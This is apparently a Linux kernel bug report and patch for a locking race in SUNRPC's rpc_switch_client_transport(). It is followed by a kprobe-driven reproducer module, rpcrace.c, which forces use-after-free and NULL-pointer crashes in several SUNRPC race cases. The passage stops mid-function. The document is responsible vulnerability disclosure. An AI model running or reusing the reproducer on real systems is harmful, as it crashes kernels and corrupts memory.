rpc_switch_client_transport() (net/sunrpc/clnt.c) is the NFSv4 migration/referral transport-replacement path (nfs4_update_server(), fs/nfs/nfs4client.c). After switching transports it calls rpc_unregister_client() and then __rpc_clnt_remove_pipedir() -- and that second call is the only place in the file that touches the client pipedir WITHOUT holding sn->pipefs_sb_lock. Every other mutator -- rpc_clnt_remove_pipedir(), the RPC_PIPEFS_MOUNT/RPC_PIPEFS_UMOUNT notification handlers, and the killers rpc_fill_super()/rpc_kill_sb() -- runs under that mutex. When a umount of rpc_pipefs is in flight, rpc_kill_sb() holds pipefs_sb_lock and walks sn->all_clients through the notification chain, handing out bare client pointers; the umount side and the switch side can therefore both read the same non-NULL clnt->pipefs_sb, cl_pipedir_objects.pdh_dentry and pipe->dentry before either clears them, and both execute the same removal sequence:
double rpc_remove_client_dir()/simple_recursive_removal() on the same dentries, a second rpc_close_pipes() on a pipe whose RPC_I(inode)->pipe has already been cleared (spin_lock(&pipe->lock) on a NULL pointer), and unsynchronised accesses to clnt->pipefs_sb and pdh_dentry. Verified on mainline 7.3 with a choreographed reproducer:
the resumed umount-side removal oopses with a NULL-pointer write to inode->i_rwsem (address 0x98) inside __simple_recursive_removal(), followed by slab-use-after-free reports on the corrupted pipefs_sb_lock state; the VM does not survive the resulting lockup.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC -- vanilla mainline 7.3 tree; net/sunrpc/clnt.c and net/sunrpc/rpc_pipe.c are byte-identical between the audited tree and 7.3, line numbers below are from 7.3. Tested with KASAN enabled in QEMU/KVM x86_64.

* Mechanism

The unlocked call site (clnt.c:765-766 in
rpc_switch_client_transport()):

rpc_unregister_client(clnt);
__rpc_clnt_remove_pipedir(clnt); /* NO pipefs_sb_lock */

__rpc_clnt_remove_pipedir() (clnt.c:97-103) reads clnt->pipefs_sb without synchronisation and, if non-NULL, calls rpc_remove_client_dir() (rpc_pipe.c:890-900), which reads pdh_dentry (a borrowed dentry reference, no lock, no refcount), runs rpc_destroy_pipe_dir_objects() over the pdh_entries (for each
pipe_dir_object: rpc_unlink(pipe), i.e. simple_recursive_removal(pipe->dentry, rpc_close_pipes) followed by the unlocked "pipe->dentry = NULL"), then sets pdh_dentry = NULL and calls simple_recursive_removal(D, NULL) on the pipedir dentry itself, and finally clears clnt->pipefs_sb.

The concurrent side is rpc_kill_sb() (rpc_pipe.c:1188-1208), which holds pipefs_sb_lock, sets sn->pipefs_sb = NULL and synchronously dispatches RPC_PIPEFS_UMOUNT through the blocking notifier chain; the handler walks sn->all_clients via rpc_get_client_for_event() (bare pointer, no reference; a client with a pipedir is not skipped for UMOUNT, clnt.c:174-176) and executes the identical removal sequence in __rpc_clnt_handle_event() (clnt.c:194-199):
"if (clnt->pipefs_sb == sb) { __rpc_clnt_remove_pipedir(clnt); clnt->pipefs_sb = NULL; }".

Both sequences start from the same unsynchronised reads. When they overlap (the umount side's scan happens before the switch side's rpc_unregister_client() removes the client from the list, or concurrently with it), both read pdh_dentry == D and pipe->dentry == pd before either clears them, and then:

1. Both run rpc_unlink() on the same pipe: both see a non-NULL pipe->dentry and both call simple_recursive_removal(pd, rpc_close_pipes). The first invocation frees pd; the second resumes on the freed/discarded dentry. Depending on where the two threads interleave inside rpc_close_pipes() (rpc_pipe.c:
170-195), the second invocation either reads RPC_I(inode)->pipe after the first one cleared it and does spin_lock(&pipe->lock) on a NULL pointer -- a kernel oops -- or, if it read it earlier, runs pipe->ops->release_pipe(inode) a second time (gss_pipe_release() twice -> put_pipe_version() twice -> sn->pipe_users underflow and a corrupted pipe_version state machine, i.e. every RPCSEC_GSS upcall in that netns stalls with -EAGAIN).

2. Both run simple_recursive_removal(D, NULL) on the pipedir dentry, and both run the plain (unsynchronised) writes to clnt->pipefs_sb and pdh_dentry -- KCSAN-visible data races even when the interleaving stays benign.

* Trigger model

Both knobs are root-domain operations: umount/mount of rpc_pipefs requires CAP_SYS_ADMIN in the initial user namespace (the rpc_pipefs fs_type has no FS_USERNS_MOUNT), and the transport switch is reached through NFSv4 migration/referral recovery -- nfs4_replace_transport() -> nfs4_try_replacing_one_location() (fs/nfs/nfs4namespace.c) -> nfs4_update_server() -> rpc_switch_client_transport() (fs/nfs/nfs4client.c:1183). The client's pipedir entries are plain in-tree dentries (d_make_persistent) and do not pin the mount, so nothing structurally prevents the umount from proceeding while a transport switch is running; the rpc_kill_sb() notifier only needs the client's clnt->pipefs_sb to still equal the dying superblock, which is the normal state before the switch side clears it. Consequence: kernel oops (NULL-pointer write), dentry/inode corruption, and a permanently wedged pipefs_sb_lock for everything else in that netns.

* Reproducer (attached: rpcrace.c) and results on 7.3

rpcrace.c builds the exact preconditions with exported APIs (no kernel-source changes): it creates a client whose pipedir carries a child pipe object (rpc_mkpipe_data() + rpc_add_pipe_dir_object(), mirroring what a sec=krb5 client gets from its gss pipes), then a kprobe stalls the umount task inside simple_recursive_removal() -- filtered to calls with callback == rpc_close_pipes (address resolved at runtime from /proc/kallsyms) and comm == "umount" -- while a module thread drives rpc_switch_client_transport() against the stalled umount. A release timer lets the umount resume after the switch side's unlocked removal has completed. This widens the natural microseconds window deterministically, following the controlled-window methodology; it does not by itself measure natural hit rates.

Results (7.3, KASAN, QEMU 8 vCPU): the resumed umount-side removal reports "BUG: KASAN: null-ptr-deref in down_write -- Write of size 8 at address 0x98 (= inode->i_rwsem) by task umount" with the stack umount -> rpc_kill_sb -> blocking_notifier_call_chain -> rpc_pipefs_event -> rpc_remove_client_dir -> rpc_unlink -> __simple_recursive_removal, followed by "BUG: KASAN:
slab-use-after-free in mutex_spin_on_owner" on the corrupted lock state; the virtual machine then hangs and is torn down by the harness. A note on the manifestation shape: dcache frees dentries via RCU and dentry_unlink_inode() clears d_inode synchronously during the first removal, so the resumed access hits a still allocated-but-detached dentry and surfaces as the NULL-pointer write above rather than a dentry slab-use-after-free report; the follow-up mutex owner read does report a slab-use-after-free. Full serial log and report excerpts are available on request.

* Fix

The patch below replaces the unlocked __rpc_clnt_remove_pipedir() with the locked helper rpc_clnt_remove_pipedir(), which takes pipefs_sb_lock, only removes the pipedir when clnt->pipefs_sb still matches the mounted superblock, and releases the lock -- making the switch path identical to every other pipedir mutator in the file and serialising it against both notification chains. One-line change; reviewed against the audit interleaving but not runtime-tested (the race itself is dynamically verified as described above). Happy to test.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu <[email protected]>

------------------------------------------------------------------------

The patch (text/plain; apply with patch -p1 or git am):

From: Hanxiang Xu <[email protected]>
Subject: [PATCH] SUNRPC: remove the client pipedir under pipefs_sb_lock
in rpc_switch_client_transport()

rpc_switch_client_transport() calls __rpc_clnt_remove_pipedir() without holding sn->pipefs_sb_lock. It is the only pipedir mutator in the file that does so; every other one (rpc_clnt_remove_pipedir() and the RPC_PIPEFS_MOUNT/UMOUNT notification handlers, dispatched from rpc_fill_super()/rpc_kill_sb()) runs under that mutex.

Because the notification chains hand out bare client pointers and both sides read the same clnt->pipefs_sb, cl_pipedir_objects.pdh_dentry and pipe->dentry without synchronisation, a concurrent umount of rpc_pipefs and a transport switch (NFSv4 migration/referral recovery, nfs4_update_server()) can both enter the removal sequence for the same
pipedir: double rpc_remove_client_dir()/simple_recursive_removal() on the same dentries, a second rpc_close_pipes() whose RPC_I(inode)->pipe has already been cleared (NULL-pointer spin_lock(&pipe->lock) oops), a double gss_pipe_release() (pipe_users underflow corrupting the RPCSEC_GSS pipe-version state machine), and unsynchronised clnt->pipefs_sb / pdh_dentry accesses.

Use the locked rpc_clnt_remove_pipedir() helper -- it takes pipefs_sb_lock, only removes the pipedir when clnt->pipefs_sb still matches the mounted superblock, and releases the lock -- making the switch path identical to the rest of the file. Verified by a choreographed reproducer (kprobe-stalled umount inside simple_recursive_removal() while rpc_switch_client_transport() runs its unlocked removal): before the patch the resumed umount oopses with a NULL-pointer write to inode->i_rwsem followed by slab-use-after-free reports on the corrupted lock state.

---
 net/sunrpc/clnt.c | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)
net/sunrpc/clnt.c +13 -1
@@ -763,7 +763,19 @@
 	oldxps = xprt_iter_xchg_switch(&clnt->cl_xpi, xps);
 
 	rpc_unregister_client(clnt);
-	__rpc_clnt_remove_pipedir(clnt);
+	/*
+	 * Remove the pipedir under pipefs_sb_lock.  The unlocked
+	 * __rpc_clnt_remove_pipedir() races the RPC_PIPEFS_UMOUNT and
+	 * RPC_PIPEFS_MOUNT notification chains (rpc_kill_sb() and
+	 * rpc_fill_super() run them while holding pipefs_sb_lock): both
+	 * sides can read the same non-NULL clnt->pipefs_sb /
+	 * cl_pipedir_objects.pdh_dentry / pipe->dentry before either
+	 * clears them, producing double rpc_remove_client_dir()/
+	 * simple_recursive_removal() on the same dentries, a second
+	 * rpc_close_pipes() on a pipe whose RPC_I(inode)->pipe was
+	 * already cleared, and unsynchronised clnt->pipefs_sb accesses.
+	 */
+	rpc_clnt_remove_pipedir(clnt);
 	rpc_sysfs_client_destroy(clnt);
 	rpc_clnt_debugfs_unregister(clnt);
 
 net/sunrpc/clnt.c | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletions(-)

------------------------------------------------------------------------------------------------------------------------------------------------

// SPDX-License-Identifier: GPL-2.0
/*
* rpcrace.c - controlled-window verification instruments for the net/sunrpc
* conditional-race audit cases SUNRPC-MR-01..04
* (docs/manual-review-net-sunrpc-2026-11-25.md, v4).
*
* Methodology follows this environment's established controlled-window
* precedent (r4_stall.c, r1stall.c, fx*): zero kernel-source changes; a
* loadable module drives exported core APIs (rpc_create, rpcauth_register,
* rpc_switch_client_transport, rpc_mkpipe_data/rpc_add_pipe_dir_object,
* cache_create_net/sunrpc_cache_upcall) and kprobe pre-handlers widen the
* natural race windows into deterministic choreographies.
*
* Modes (module param "mode"):
* mr03pfs - SUNRPC-MR-03 pipefs flavor. Custom authops->create() holds the

 *            rpc_client_register() failure window open until a userspace
 *            helper has open(2)'d the failing client's <pipefs>/nfs/clntXX/info
 *            file (open takes a cl_count reference via rpc_info_open).  After
 *            the window closes rpc_new_client() kfree()s the client anyway
 *            and the helper read()s/closes the fd -> use-after-free in
 *            rpc_show_info()/rpc_info_release().
 *  mr03dbg - same choreography against the debugfs "tasks" file
 *            (/sys/kernel/debug/sunrpc/rpc_clnt/<clid>/tasks, tasks_open
 *            takes the cl_count reference; full_proxy_release forwards
 *            tasks_release unconditionally).  Only meaningful on a kernel
 *            built with CONFIG_SUNRPC_DEBUG (debugfs.c compiled in).
 *  mr01    - SUNRPC-MR-01.  Double-kprobe choreography:
 *            kp1 = rpc_unregister_client entry, claimed by our failing
 *            client thread at err_auth (after rpc_get_sb_net() already saw
 *            pipefs unmounted and released pipefs_sb_lock);
 *            kp2 = rpc_create_client_dir entry, claimed by the concurrent
 *            "mount -t rpc_pipefs" notifier while it holds pipefs_sb_lock
 *            and has already written clnt->pipefs_sb = sb.
 *            Release order (A resumes -> unregister/remove/kfree, then B
 *            resumes) reproduces the audited interleaving: B writes
 *            pdh_dentry into the freed rpc_clnt (UAF write) and leaves an
 *            orphan pipedir whose info file private points at freed memory.
 *  mr04    - SUNRPC-MR-04.  kprobe stall on simple_recursive_removal() when
 *            called with callback == rpc_close_pipes from the umount task,
 *            while a module thread drives rpc_switch_client_transport()
 *            (which calls __rpc_clnt_remove_pipedir() WITHOUT
 *            pipefs_sb_lock).  Both threads read the same pdh_dentry /
 *            pipe->dentry before either clears it -> the umount thread
 *            resumes simple_recursive_removal() on the already-freed pipe
 *            child dentry (use-after-free).
 *  mr02    - SUNRPC-MR-02 (KCSAN kernel).  Module-owned cache_detail
 *            ("racetest", /proc/net/rpc/racetest/channel) + an upcall
 *            feeder; userspace runs two concurrent readers and a
 *            FIONREAD ioctl loop against the shared cache_request so that
 *            cache_read()/cache_read()/cache_ioctl() race on rq->buf and
 *            rq->len (plain, unsynchronised accesses).

*
* Handshake with userspace (see scripts/init-rpcrace):
* /sys/module/rpcrace/parameters/event - readonly state machine
* /sys/module/rpcrace/parameters/helper_ready - write 1 to complete the
* window (mr03*); mr01/mr04 choreograph internally.
*/
#define pr_fmt(fmt) "RPCRACE: " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/completion.h>
#include <linux/delay.h>
#include <linux/slab.h>
#include <linux/in.h>
#include <linux/kref.h>
#include <linux/jiffies.h>
#include <linux/timer.h>
#include <linux/atomic.h>
#include <linux/sunrpc/clnt.h>
#include <linux/sunrpc/auth.h>
#include <linux/sunrpc/msg_prot.h>
#include <linux/sunrpc/rpc_pipe_fs.h>
#include <linux/sunrpc/cache.h>
#include <linux/sunrpc/xprt.h>
#include <linux/sunrpc/stats.h>

static char *mode = "mr03pfs";
static int hold_ms = 8000;
static int iters = 2;
static int stall_ms = 4000;
static int secs = 30;
static int auth_ok;
static unsigned long cb_addr;
static bool do_hold;

module_param(mode, charp, 0400);
module_param(hold_ms, int, 0400);
module_param(iters, int, 0400);
module_param(stall_ms, int, 0400);
module_param(secs, int, 0400);
module_param(auth_ok, int, 0400);
module_param(cb_addr, ulong, 0400);
MODULE_PARM_DESC(mode, "mr03pfs | mr03dbg | mr01 | mr04 | mr02"); MODULE_PARM_DESC(cb_addr, "runtime address of rpc_close_pipes (mr04)");

/* ------------------------------------------------------------------ */

/* state machine                                                       */
/*  event==1 : A stalled / window open (helper may act)                */
/*  event==2 : B stalled (mr01: mount inside create_client_dir;        */
/*             mr04: umount inside simple_recursive_removal)           */
/*  event==3 : failing client freed / done                             */

/* ------------------------------------------------------------------ */ static atomic_t race_state = ATOMIC_INIT(0);
static DECLARE_COMPLETION(helper_compl);
static DECLARE_COMPLETION(go_compl);
static struct task_struct *worker;
static int kp_unreg_hit, kp_ccd_hit, kp_srr_hit;

/* ------------------------- fake rpc program ------------------------ */ static u32 race_counts[1];
static const struct rpc_procinfo race_procs[1] = { { 0 } };

static const struct rpc_version race_v1 = {
	.number		= 1,
	.nrprocs	= 1,
	.procs		= race_procs,
	.counts		= race_counts,
};
static const struct rpc_version *race_version[1] = { &race_v1 };
static struct rpc_stat race_stat;
static const struct rpc_program race_program = {
	.name		= "rpcrace",
	.number		= 200000,
	.nrvers		= 1,
	.version	= race_version,
	.stats		= &race_stat,
	.pipe_dir_name	= "nfs",	/* exists in rpc_pipefs root */
};

/* ------------------------- fake rpc auth --------------------------- */ static void race_auth_destroy(struct rpc_auth *auth) { } static struct rpc_auth race_fake_auth;

/*
* create() is called from rpcauth_create() inside rpc_client_register()
* (clnt.c L322) - i.e. AFTER the client was published to sn->all_clients
* (L318) and after the pipefs pipedir was created (L313-315). Holding this
* callback open holds the audited publication window open (mr03*). */
static struct rpc_auth *
race_auth_create(const struct rpc_auth_create_args *args, struct rpc_clnt *clnt)

{
	if (auth_ok) {
		refcount_set(&race_fake_auth.au_count, 1);
		return &race_fake_auth;
	}
	if (do_hold) {
		pr_info("window OPEN (hold_ms=%d), clnt=%p clid=%d\n",
			hold_ms, clnt, clnt->cl_clid);
		atomic_set(&race_state, 1);
		wait_for_completion_timeout(&helper_compl,
					    msecs_to_jiffies(hold_ms));
	}
	return ERR_PTR(-EINVAL);
}
static const struct rpc_authops race_authops = {
	.owner		= THIS_MODULE,
	.au_flavor	= RPC_AUTH_KRB,		/* 4, unregistered in-kernel */
	.au_name	= "rpcrace",
	.create		= race_auth_create,
	.destroy	= race_auth_destroy,
};

/* ------------------------- kprobe machinery ------------------------ */ static atomic_t arm = ATOMIC_INIT(0);
static atomic_t release_flag = ATOMIC_INIT(0);

static void spin_until(int target)

{
	unsigned long until = jiffies + msecs_to_jiffies(stall_ms);

	while (atomic_read(&race_state) < target && time_before(jiffies, until))
		cpu_relax();
}

/* mr01 kp1: rpc_unregister_client entry on the failing-client thread */ static int mr01_kp_unreg_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_unreg_hit || current != worker)
		return 0;
	kp_unreg_hit = 1;
	atomic_set(&race_state, 1);
	pr_info("kp1: failing thread stalled at err_auth unregister "
		"(rpc_get_sb_net already returned NULL)\n");
	spin_until(2);
	pr_info("kp1: mount side stalled -> releasing failing thread\n");
	return 0;
}

/* mr01 kp2: rpc_create_client_dir entry on the mount task */ static int mr01_kp_ccd_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_ccd_hit || !kp_unreg_hit)
		return 0;
	if (strncmp(current->comm, "mount", 5) != 0)
		return 0;
	kp_ccd_hit = 1;
	atomic_set(&race_state, 2);
	pr_info("kp2: mount notifier stalled inside rpc_create_client_dir "
		"(holds pipefs_sb_lock, clnt->pipefs_sb already written)\n");
	spin_until(3);
	pr_info("kp2: failing client freed -> resuming create_client_dir "
		"on freed rpc_clnt\n");
	return 0;
}

/* mr04 kp: simple_recursive_removal(dentry, callback==rpc_close_pipes) */ static int mr04_kp_srr_pre(struct kprobe *p, struct pt_regs *regs)

{
	if (!atomic_read(&arm) || kp_srr_hit)
		return 0;
#ifdef CONFIG_X86_64
	if (!cb_addr || regs->si != cb_addr)
		return 0;
#else
	return 0;
#endif
	if (strncmp(current->comm, "umount", 6) != 0)
		return 0;
	kp_srr_hit = 1;
	atomic_set(&race_state, 2);
	pr_info("kp: umount stalled inside simple_recursive_removal(pipe child)\n");
	{
		unsigned long until = jiffies + msecs_to_jiffies(stall_ms * 2);

		while (!atomic_read(&release_flag) &&
		       time_before(jiffies, until))
			cpu_relax();
	}
	pr_info("kp: switch-side removal done -> resuming removal on freed "
		"pipe dentry\n");
	return 0;
}

static struct kprobe kp_unreg = { .symbol_name = "rpc_unregister_client",

				  .pre_handler = mr01_kp_unreg_pre };
static struct kprobe kp_ccd = { .symbol_name = "rpc_create_client_dir",
				.pre_handler = mr01_kp_ccd_pre };
static struct kprobe kp_srr = { .symbol_name = "simple_recursive_removal",
				.pre_handler = mr04_kp_srr_pre };

/*
* mr04: the switch thread blocks on pipefs_sb_lock inside the re-register
* (the stalled umount holds the mutex), so the release is driven by a timer
* armed just before rpc_switch_client_transport(): the switch's unlocked
* __rpc_clnt_remove_pipedir() completes in microseconds, well within the
* 2s window; the umount thread then resumes on the freed pipe dentry. */
static struct timer_list mr04_rel_timer;

static void mr04_rel_timer_fn(struct timer_list *t)

{
	atomic_set(&release_flag, 1);
	pr_info("mr04: release timer fired\n");
}

/* ------------------------- client helpers -------------------------- */ static struct rpc_clnt *race_make_client(bool want_ok)

{
	struct sockaddr_in sin = {
		.sin_family	= AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port	= htons(2049),
	};
	struct rpc_create_args args = {
		.net		= current->nsproxy->net_ns,
		.protocol	= XPRT_TRANSPORT_TCP,
		.address	= (struct sockaddr *)&sin,
		.addrsize	= sizeof(sin),
		.servername	= "racetest",
		.program	= &race_program,
		.version	= 0,
		.authflavor	= RPC_AUTH_KRB,
		.cred		= current_cred(),
		.flags		= RPC_CLNT_CREATE_NOPING,
	};

	auth_ok = want_ok ? 1 : 0;
	return rpc_create(&args);
}

/* ------------------------- mr03 worker ----------------------------- */ static int mr03_threadfn(void *unused)

{
	int i;

	wait_for_completion(&go_compl);
	for (i = 0; i < iters; i++) {
		struct rpc_clnt *clnt;

		reinit_completion(&helper_compl);
		clnt = race_make_client(false);
		if (!IS_ERR(clnt)) {
			pr_err("unexpected success, aborting\n");
			rpc_shutdown_client(clnt);
			break;
		}
		pr_info("iteration %d: rpc_create failed (%ld); client freed "
			"while file references were held\n", i, PTR_ERR(clnt));
		atomic_set(&race_state, 3);
		msleep(300);
	}
	atomic_set(&race_state, 3);
	pr_info("mr03 done\n");
	return 0;
}

/* ------------------------- mr01 worker ----------------------------- */ static int mr01_threadfn(void *unused)

{
	struct rpc_clnt *clnt;

	wait_for_completion(&go_compl);
	kp_unreg_hit = 0;
	kp_ccd_hit = 0;
	/* pipefs must be unmounted at create time; kp1 stalls the err_auth
	 * unregister; the helper's concurrent mount stalls inside
	 * rpc_create_client_dir via kp2; release order reproduces the
	 * audited interleaving. */
	atomic_set(&arm, 1);
	clnt = race_make_client(false);
	atomic_set(&arm, 0);
	if (!IS_ERR(clnt)) {
		pr_err("mr01: unexpected success\n");
		rpc_shutdown_client(clnt);
	} else {
		pr_info("mr01: rpc_create failed (%ld)\n", PTR_ERR(clnt));
	}
	atomic_set(&race_state, 3);
	return 0;
}

/* ------------------------- mr04 machinery -------------------------- */

struct race_pdo {
	struct rpc_pipe_dir_object pdo;
	struct rpc_pipe *pipe;
};

static struct rpc_clnt *mr04_clnt;
static struct race_pdo mr04_rp;

static ssize_t race_pipe_upcall(struct file *filp, struct rpc_pipe_msg *msg,
char __user *dst, size_t buflen)

{
	return rpc_pipe_generic_upcall(filp, msg, dst, buflen);
}

static const struct rpc_pipe_ops race_pipe_ops = {
.upcall = race_pipe_upcall,
};

static int race_pdo_create(struct dentry *dir, struct rpc_pipe_dir_object *pdo)

{
	struct race_pdo *rp = pdo->pdo_data;

	return rpc_mkpipe_dentry(dir, "racetest", NULL, rp->pipe);
}

static void race_pdo_destroy(struct dentry *dir, struct rpc_pipe_dir_object *pdo)

{
	struct race_pdo *rp = pdo->pdo_data;

	rpc_unlink(rp->pipe);
}
static const struct rpc_pipe_dir_object_ops race_pdo_ops = {
	.create		= race_pdo_create,
	.destroy	= race_pdo_destroy,
};

static int mr04_setup(void)

{
	int ret;

	mr04_clnt = race_make_client(true);	/* want_ok: fake valid auth */
	if (IS_ERR(mr04_clnt))
		return PTR_ERR(mr04_clnt);

	mr04_rp.pipe = rpc_mkpipe_data(&race_pipe_ops, 0);
	ret = PTR_ERR_OR_ZERO(mr04_rp.pipe);
	if (ret)
		goto out_clnt;
	mr04_rp.pdo.pdo_data = &mr04_rp;
	rpc_init_pipe_dir_object(&mr04_rp.pdo, &race_pdo_ops, &mr04_rp);
	ret = rpc_add_pipe_dir_object(rpc_net_ns(mr04_clnt),
				      &mr04_clnt->cl_pipedir_objects,
				      &mr04_rp.pdo);
	if (ret)
		goto out_pipe;
	pr_info("mr04: client clid=%d armed with pipedir + child pipe\n",
		mr04_clnt->cl_clid);
	return 0;
out_pipe:
	rpc_destroy_pipe_data(mr04_rp.pipe);
out_clnt:
	rpc_shutdown_client(mr04_clnt);
	mr04_clnt = NULL;
	return ret;
}

static void mr04_cleanup(void)

{
	if (mr04_clnt)
		rpc_shutdown_client(mr04_clnt);
	mr04_clnt = NULL;
}

static int mr04_threadfn(void *unused)

{
	struct sockaddr_in sin = {
		.sin_family	= AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port	= htons(2049),
	};
	struct xprt_create xargs = {
		.ident		= XPRT_TRANSPORT_TCP,
		.net		= rpc_net_ns(mr04_clnt),
		.dstaddr	= (struct sockaddr *)&sin,
		.addrlen	= sizeof(sin),
		.servername	= "racetest",
	};
	int ret, i;

	/* wait for the umount thread to stall inside simple_recursive_removal */
	{
		unsigned long until = jiffies + msecs_to_jiffies(stall_ms * 4);

		while (atomic_read(&race_state) < 2 &&
		       time_before(jiffies, until))
			msleep(1);
	}
	if (atomic_read(&race_state) < 2) {
		pr_err("mr04: umount side never stalled, aborting\n");
		return 0;
	}
	pr_info("mr04: driving rpc_switch_client_transport() against the "
		"stalled umount\n");
	timer_setup(&mr04_rel_timer, mr04_rel_timer_fn, 0);
	/* 300ms: the switch-side unlocked removal completes in microseconds,
	 * while the freed dentries are still inside the KASAN quarantine when
	 * the umount thread resumes (clean slab-use-after-free instead of a
	 * post-reuse crash). */
	mod_timer(&mr04_rel_timer, jiffies + msecs_to_jiffies(300));
	for (i = 0; i < 3; i++) {
		ret = rpc_switch_client_transport(mr04_clnt, &xargs, NULL);
		pr_info("mr04: switch attempt %d -> %d\n", i, ret);
		if (ret == 0)
			break;
		msleep(50);
	}
	timer_delete_sync(&mr04_rel_timer);
	atomic_set(&release_flag, 1);
	atomic_set(&race_state, 3);
	return 0;
}

/* ------------------------- mr02 machinery -------------------------- */ static struct cache_detail *race_cd;
static struct task_struct *feeder;
static bool feeder_run = true;

static void race_cache_put(struct kref *ref) { }

static void race_cache_request(struct cache_detail *cd, struct cache_head *h,
char **bpp, int *blen)

{
	/* deterministic, comfortably-sized upcall text */
	qword_add(bpp, blen, (char *)"racetest");
	qword_add(bpp, blen, (char *)"filler-line-for-concurrent-formatting-race");
	qword_add(bpp, blen, (char *)"0123456789012345678901234567890123456789");
	qword_add(bpp, blen, (char *)"0123456789012345678901234567890123456789");
	if (*blen > 0)
		(*bpp)[-1] = '\n';
}

static struct cache_head *race_alloc(void)

{
	return kzalloc_obj(struct cache_head, GFP_KERNEL);
}

static int race_match(struct cache_head *a, struct cache_head *b) { return 1; } static void race_init_h(struct cache_head *a, struct cache_head *b) { } static void race_update(struct cache_head *a, struct cache_head *b) { }

static struct cache_detail race_cd_template = {
	.owner		= THIS_MODULE,
	.hash_size	= 16,
	.name		= "racetest",
	.cache_put	= race_cache_put,
	.cache_request	= race_cache_request,
	.alloc		= race_alloc,
	.match		= race_match,
	.init		= race_init_h,
	.update		= race_update,
};

static int mr02_setup(void)

{
	int ret;

	race_cd = cache_create_net(&race_cd_template, current->nsproxy->net_ns);
	if (IS_ERR(race_cd))
		return PTR_ERR(race_cd);
	ret = cache_register_net(race_cd, current->nsproxy->net_ns);
	if (ret)
		goto out_free;
	pr_info("mr02: channel at /proc/net/rpc/racetest/channel\n");
	return 0;
out_free:
	cache_destroy_net(race_cd, current->nsproxy->net_ns);
	race_cd = NULL;
	return ret;
}

static void mr02_cleanup(void)

{
	if (!race_cd)
		return;
	feeder_run = false;
	if (feeder && !IS_ERR(feeder)) {
		kthread_stop(feeder);
		feeder = NULL;
	}
	cache_unregister_net(race_cd, current->nsproxy->net_ns);
	cache_destroy_net(race_cd, current->nsproxy->net_ns);
	race_cd = NULL;
}

static int mr02_threadfn(void *unused)

{
	unsigned long until = jiffies + secs * HZ;

	while (feeder_run && time_before(jiffies, until)) {
		struct cache_head *h = race_alloc();

		if (h) {
			memset(h, 0, sizeof(*h));
			INIT_HLIST_NODE(&h->cache_list);
			kref_init(&h->ref);
			h->expiry_time = seconds_since_boot() + 3600;
			h->last_refresh = seconds_since_boot();
			sunrpc_cache_upcall(race_cd, h);
			/* h intentionally left pending: the rq stays on
			 * cd->requests for the readers to race on; the
			 * per-item leak is bounded by the run duration. */
		}
		usleep_range(1000, 2000);
	}
	pr_info("mr02: feeder done\n");
	return 0;
}

/* ------------------------- module glue ----------------------------- */ static int helper_ready_get(char *buf, const struct kernel_param *kp)

{
	return sprintf(buf, "%d\n", atomic_read(&race_state) >= 1 ? 1 : 0);
}

static int helper_ready_set(const char *val, const struct kernel_param *kp)

{
	int v;

	if (kstrtoint(val, 0, &v))
		return -EINVAL;
	if (v) {
		pr_info("helper_ready -> window closing\n");
		complete(&helper_compl);
	}
	return 0;
}

static const struct kernel_param_ops helper_ready_ops = {
.flags = KERNEL_PARAM_OPS_FL_NOARG,
.get = helper_ready_get,
.set = helper_ready_set,
};
module_param_cb(helper_ready, &helper_ready_ops, NULL, 0600);

static int event_get(char *buf, const struct kernel_param *kp)

{
	return sprintf(buf, "%d\n", atomic_read(&race_state));
}
static const struct kernel_param_ops event_ops = {
	.flags	= KERNEL_PARAM_OPS_FL_NOARG,
	.get	= event_get,
};

module_param_cb(event, &event_ops, NULL, 0444);

static int __init rpcrace_init(void)

{
	int ret;

	do_hold = !strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg");
	pr_info("mode=%s hold_ms=%d iters=%d stall_ms=%d secs=%d cb_addr=0x%llx\n",
		mode, hold_ms, iters, stall_ms, secs, (unsigned long long)cb_addr);

	if (!strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg")) {
		ret = rpcauth_register(&race_authops);
		if (ret)
			return ret;
		worker = kthread_run(mr03_threadfn, NULL, "rpcraceA");
		ret = PTR_ERR_OR_ZERO(worker);
		if (!ret)
			complete(&go_compl);
		return ret;
	}

	if (!strcmp(mode, "mr01")) {
		ret = register_kprobe(&kp_unreg);
		if (ret)
			return ret;
		ret = register_kprobe(&kp_ccd);
		if (ret) {
			unregister_kprobe(&kp_unreg);
			return ret;
		}
		worker = kthread_run(mr01_threadfn, NULL, "rpcraceA");
		ret = PTR_ERR_OR_ZERO(worker);
		if (ret) {
			unregister_kprobe(&kp_ccd);
			unregister_kprobe(&kp_unreg);
			return ret;
		}
		/* thread blocks on go_compl; release after worker assigned */
		complete(&go_compl);
		return 0;
	}

	if (!strcmp(mode, "mr04")) {
		if (!cb_addr) {
			pr_err("mr04 requires cb_addr=<rpc_close_pipes>\n");
			return -EINVAL;
		}
		ret = rpcauth_register(&race_authops);
		if (ret)
			return ret;
		ret = mr04_setup();
		if (ret) {
			rpcauth_unregister(&race_authops);
			return ret;
		}
		ret = register_kprobe(&kp_srr);
		if (ret) {
			mr04_cleanup();
			return ret;
		}
		atomic_set(&arm, 1);
		worker = kthread_run(mr04_threadfn, NULL, "rpcraceA");
		if (IS_ERR(worker)) {
			unregister_kprobe(&kp_srr);
			atomic_set(&arm, 0);
			mr04_cleanup();
			return PTR_ERR(worker);
		}
		return 0;
	}

	if (!strcmp(mode, "mr02")) {
		ret = mr02_setup();
		if (ret)
			return ret;
		feeder = kthread_run(mr02_threadfn, NULL, "rpcraceF");
		if (IS_ERR(feeder)) {
			mr02_cleanup();
			return PTR_ERR(feeder);
		}
		return 0;
	}

	return -EINVAL;
}

static void __exit rpcrace_exit(void)

{
	if (!strcmp(mode, "mr03pfs") || !strcmp(mode, "mr03dbg")) {
		if (worker && !IS_ERR(worker))
